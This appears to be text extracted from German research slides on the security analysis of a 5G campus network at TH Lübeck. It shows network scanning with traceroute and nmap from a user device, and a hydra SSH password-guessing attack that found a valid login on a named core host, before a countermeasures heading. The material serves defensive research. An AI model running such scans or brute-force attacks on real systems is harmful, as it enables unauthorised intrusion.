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1. Angriffsfläche eines 5G-Campussystems
2. Sicherheitsmaßnahmen
3. Monitoring-System

Center of Excellence



Fabian John, Jörg Schuljak, Björn Sievers, Andreas Hanemann, Horst Hellbrück

Center of Excellence



Center of Excellence



Center of Excellence



Sicherheitsanalyse
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https://git.mylab.th-luebeck.de/5g/cosa-5g-private-campus-network-deployment-oai/-/blob/main/oai-network-setup.md#
flashing-sim-cards
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Netzwerkscan
user@ue :~ $ t r a c e r o u t e th−luebeck . de
[ . . . ]
2 192 .168 .70 .129 (192 .168 .70 .129) 27.053 ms 27.024 ms 26.996 ms
3 192 .168 .50 .1 ( 1 9 2 . 1 6 8 . 5 0 . 1 ) 32.979 ms 32.954 ms 32.927 ms

[ . . . ]
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Netzwerkscan
user@ue :~ $ nmap 192 .168 .70 .0/24
[ . . . ]

Nmap done : 256 IP a dd r e s s e s (10 hos t s up ) scanned i n 27.29 seconds

user@ue : : ~ $ nmap 192 .168 .50 .0/24
[ . . . ]

Nmap done : 256 IP a dd r e s s e s (9 hos t s up ) scanned i n 14.48 seconds
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SSH-Passwort-Rateangriff

user@ue :~# hydra −l f i v e g −x 1 : 4 : a1 core180216 . th−luebeck . de ssh
[ . . . ]
[ 2 2 ] [ s sh ] host : core180216 l o g i n : f i v e g password : <REDACTED>
[STATUS] 114.05 t r i e s /min , 1497984 t r i e s i n 218:55 h
1 o f 1 t a r g e t s u c c e s s f u l l y completed , 1 v a l i d password found
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Gegenmaßnahmen
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